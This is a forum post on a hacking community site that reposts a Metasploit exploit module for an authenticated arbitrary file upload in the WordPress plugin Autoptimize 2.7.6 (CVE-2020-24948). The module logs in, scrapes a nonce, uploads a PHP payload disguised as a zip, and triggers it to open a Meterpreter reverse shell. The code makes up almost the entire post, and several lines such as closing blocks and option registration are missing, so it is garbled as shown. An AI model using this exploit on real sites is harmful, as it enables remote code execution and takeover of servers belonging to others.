Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

WordPress Plugin Autoptimize 2.7.6 - Authenticated Arbitrary File Upload (Metasploit)


Recommended Posts

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
        'Name'           => 'Wordpress Autoptimize Authenticated File Upload',
        'Description'    => %q{
          The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate Zip file,
          allowing high privilege users to upload arbitrary files, such as PHP, leading to RCE.
        'Author'         =>
            'Khanh Nguyen - Suncsr Team', # Vulnerability discovery
            'Hoa Nguyen - Suncsr Team',    # Metasploit module
            'Thien Ngo - Suncsr Team' # Metasploit module
        'License'        => MSF_LICENSE,
        'References'     =>
            ['CVE', '2020-24948'],
            ['EDB', '48770'],
            ['WPVDB', '10372']
        'Privileged'     => false,
        'Platform'       => ['php'],
        'Arch'           => ARCH_PHP,
        'DefaultOptions' => {
            'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        'Targets'        => [['WP Autoptimize 2.7.6', {}]],
        'DefaultTarget'  => 0,
        'DisclosureDate' => '2020-08-24'))

          OptString.new('USERNAME', [true, 'The WordPress password to authenticate with', nil]),
          OptString.new('PASSWORD', [true, 'The WordPress username to authenticate with', nil])

  def check

  def ao_ccss_import_nonce(cookie)
      res = send_request_cgi({
          'uri' => normalize_uri(wordpress_url_backend,'options-general.php'),
          'cookie' => cookie,
          'vars_get' => {
              'page' => 'ao_critcss'

      if res.code == 200
          print_good("Found ao_ccss_import_nonce_code Value!")
         fail_with(Failure::Unknown,'Server did not response in an expected way')

      ao_ccss_import_nonce_code = res.body.match(/'ao_ccss_import_nonce', '(\w+)/).captures[0]
      return ao_ccss_import_nonce_code

  def exploit
      username = datastore['USERNAME']
      password = datastore['PASSWORD']
      print_status("Trying to login as #{username}")
      cookie = wordpress_login(datastore['USERNAME'],datastore['PASSWORD'])
      if cookie.nil?
        print_error("Unable to login as #{username}")

      vars = ao_ccss_import_nonce(cookie)
      print_status("Trying to upload payload")
      filename = "#{rand_text_alpha_lower(8)}.php"

      data = Rex::MIME::Message.new
      data.add_part('ao_ccss_import', nil, nil, 'form-data; name="action"')
      data.add_part(vars, nil, nil, 'form-data; name="ao_ccss_import_nonce"')
      data.add_part(payload.encoded, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
      post_data = data.to_s
      print_status("Uploading payload")

      res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(wordpress_url_backend,'admin-ajax.php'),
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => post_data,
          'cookie' => cookie

      if res.code == 200
        fail_with(Failure::Unknown,'Server did not response in an expected way')

    print_status("Calling uploaded file #{filename}")
    send_request_cgi({'uri' => normalize_uri(wordpress_url_wp_content, 'uploads','ao_ccss',filename)},5)
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...